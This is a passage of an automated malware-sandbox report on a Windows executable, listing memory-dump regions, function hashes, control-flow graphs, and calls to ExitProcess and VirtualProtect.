                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: 0595ef4d57702ecd62f95ffef172c5e098d4f88bf6e59297f696487d7ad7074a
                                                                                                                            • Instruction ID: 3ac653862aa414495e91835405531963c09f1ef2290dea3d687fc9dc9d140946
                                                                                                                            • Opcode Fuzzy Hash: 0595ef4d57702ecd62f95ffef172c5e098d4f88bf6e59297f696487d7ad7074a
                                                                                                                            • Instruction Fuzzy Hash: D90188B2D085759AF7208A25EC48FD77B78DB05311F0041FAD94EA2641C6386FC58E96
                                                                                                                            Function 0045901E Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 436 45901e-45904f 439 459094-4590a6 436->439 440 459051-45908f 436->440 442 4590b9-4590ba 439->442 443 4590a8-4590b4 439->443 444 45956e-45957c ExitProcess 440->444 442->444 443->444
                                                                                                                            APIs
                                                                                                                            • ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,00458FE5,00000000,?,0043A418,?,?,00458E08,?,00000000), ref: 0045957C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: f5a8a45653636614772b7f3c8f4cbbcf7838a92b6b5b636e0de09e5389a56a1e
                                                                                                                            • Instruction ID: b5d0014915d12a3598e1725df296fffb06eb1100f637566e0164185d3a357598
                                                                                                                            • Opcode Fuzzy Hash: f5a8a45653636614772b7f3c8f4cbbcf7838a92b6b5b636e0de09e5389a56a1e
                                                                                                                            • Instruction Fuzzy Hash: 48016DB1C14228DFEBA48A40DC81BEAB779EB04716F1840AADD0E27341D6781ED9CE46
                                                                                                                            Function 0045943F Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,00458FE5,00000000,?,0043A418,?,?,00458E08,?,00000000), ref: 0045957C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: d89ff1d8691150932ae647357406571a5068245ea20f21c024c58090c2b432cd
                                                                                                                            • Instruction ID: 0b55d41236cd130563f3610df2a9b334fa95c7618c439a0bdf357ffe1e93e46e
                                                                                                                            • Opcode Fuzzy Hash: d89ff1d8691150932ae647357406571a5068245ea20f21c024c58090c2b432cd
                                                                                                                            • Instruction Fuzzy Hash: 5E01B5B2D0812CDBDB62CA54C8457EF7B79AB41315F2040B7D80E66202D6784FDACB46
                                                                                                                            Function 00458FFF Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 424 458fff-45904f call 45901e 429 459094-4590a6 424->429 430 459051-45908f 424->430 432 4590b9-4590ba 429->432 433 4590a8-4590b4 429->433 434 45956e-45957c ExitProcess 430->434 432->434 433->434
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: 1732509599216c171cc6fe1a71b4bbb6a727924a3e5b5b1131616c89ce18e8ea
                                                                                                                            • Instruction ID: ba06208c08cc8fda232d22fb4808a6d8f9f8b749774ba61f6a4910cca7da1023
                                                                                                                            • Opcode Fuzzy Hash: 1732509599216c171cc6fe1a71b4bbb6a727924a3e5b5b1131616c89ce18e8ea
                                                                                                                            • Instruction Fuzzy Hash: D20184B1C08328DFE7649A50DC857EA7778EB04756F2844AAD94E16282D6BC0EC9CE47
                                                                                                                            Function 00458A48 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: 8de71da6df6f22dd9da78c7a4442245b50449f71b2d159f24b77817675a8c8f3
                                                                                                                            • Instruction ID: 16d05e053523882be76d858a8a626c9e9137edbfcd86b2d8977c33ca4bfd4a7e
                                                                                                                            • Opcode Fuzzy Hash: 8de71da6df6f22dd9da78c7a4442245b50449f71b2d159f24b77817675a8c8f3
                                                                                                                            • Instruction Fuzzy Hash: B0F0A4B2D042589BEB208AA1DC847DBB7A8FB40705F1044BB990DA2141DB785FCA8A1A
                                                                                                                            Function 00456691 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 004577B1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: c71d513ae6255cbe36f2ba6c18880f4bfaf9a1b0d4b6f6ce9b8d2f775f0258ad
                                                                                                                            • Instruction ID: 759ecc48fee57ff8503bf7d5dcf7e2ae959a82d136509e34c51943148d18e85a
                                                                                                                            • Opcode Fuzzy Hash: c71d513ae6255cbe36f2ba6c18880f4bfaf9a1b0d4b6f6ce9b8d2f775f0258ad
                                                                                                                            • Instruction Fuzzy Hash: CDF0E9F29051256BF710C661EC44FAB767CDB85710F00C1BAEA0D51540D2386A9A8AA6
                                                                                                                            Function 004591A9 Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExitProcess
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 621844428-0
                                                                                                                            • Opcode ID: 2f287447fa55f607cf363093d891cb14762b6cd82fbbb1b9b97fde772bd9a25f
                                                                                                                            • Instruction ID: 59fd900fa6e3ae4c8f8d4082749dcf24ffa0ab2d078bb520ec18f9f006f86c96
                                                                                                                            • Opcode Fuzzy Hash: 2f287447fa55f607cf363093d891cb14762b6cd82fbbb1b9b97fde772bd9a25f
                                                                                                                            • Instruction Fuzzy Hash: 77E04F708083289BDBB19B00CC857DE7775AF04314F2040D9D48E52311DB34AED8CE03
                                                                                                                            Function 00458486 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,00458FE5,00000000,?,0043A418,?,?,00458E08,?,00000000), ref: 0045957C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
